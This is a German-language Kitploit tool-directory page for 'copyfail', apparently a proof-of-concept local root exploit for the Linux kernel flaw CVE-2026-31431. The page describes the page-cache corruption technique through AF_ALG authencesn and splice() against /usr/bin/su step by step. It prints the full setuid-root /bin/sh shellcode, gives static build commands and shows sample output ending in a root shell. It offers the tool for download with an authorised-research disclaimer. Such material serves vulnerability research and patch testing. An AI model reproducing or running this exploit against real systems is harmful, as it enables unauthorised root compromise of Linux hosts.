Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
copyfail — # CVE-2026-31431 (Copy Fail) PoC – Linux-Kernel-Page-Cache-Korruption über authencesn AF_ALG + splice() | Kitploit
Tools/GitHubGitHub/smarttfoxx/copyfail
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationPayload-EntwicklungBinary-Exploitation
GitHubsmarttfoxx/copyfail

copyfail

# CVE-2026-31431 (Copy Fail) PoC – Linux-Kernel-Page-Cache-Korruption über authencesn AF_ALG + splice()

Repository anzeigen
207vor 3 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Copy Fail – CVE-2026-31431 PoC in C

Lokaler Privilege-Escalation-Exploit für CVE-2026-31431 (Copy Fail), geschrieben in C.

Funktionsweise

  1. ELF-Parsing: Ermittelt die virtuelle Adresse des Einstiegspunkts von /usr/bin/su und übersetzt sie über PT_LOAD-Programmheader in einen Datei-Offset
  2. AF_ALG-Einrichtung: Bindet an authesn(hmac(sha256),cbc(aes)) mit einem Null-Schlüssel
  3. 4-Byte-Page-Cache-Schreibvorgänge: Für jeden Block des Shellcode-Payloads:
    • sendmsg() sendet AAD mit den Shellcode-Bytes als seqno_lo (Bytes 4–7), mit MSG_MORE
    • splice() liefert 32 Bytes der Page-Cache-Seiten der Zieldatei als AEAD-Authentifizierungstag
    • recv() löst die Entschlüsselung aus; der Scratch-Schreibvorgang von authesn landet in den verketteten Page-Cache-Seiten und schreibt 4 kontrollierte Bytes.
  4. Privilege Escalation: execl("/usr/bin/su") lädt den korrumpierten Page-Cache. Der 40-Byte-Shellcode (setuid(0) + execve("/bin/sh")) wird mit setuid-root ausgeführt

Shellcode

root@kitploit:~
xor    edi, edi            ; uid = 0
mov    eax, 105            ; sys_setuid
syscall
xor    edx, edx            ; envp = NULL
push   rdx                 ; null terminator
movabs rax, "/bin/sh"      ; "/bin/sh\0"
push   rax
mov    rdi, rsp            ; filename
push   rdx                 ; NULL (argv[1])
push   rdi                 ; argv[0]
mov    rsi, rsp            ; argv
mov    eax, 59             ; sys_execve
syscall

Build

Erfordert musl-gcc oder einen beliebigen C-Compiler mit Unterstützung für statisches Linken:

root@kitploit:~
musl-gcc -static -O2 -s -o copyfail exploit.c

Alternativ mit GCC + glibc:

root@kitploit:~
gcc -static -O2 -s -o copyfail exploit.c

Verwendung

root@kitploit:~
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)

Referenzen

  • Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
  • Fix commit a664bf3d
  • Introduced by commit 72548b093ee3 (2017)

Haftungsausschluss

Dieser Proof-of-Concept wird ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bereitgestellt. Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal.

Tool herunterladen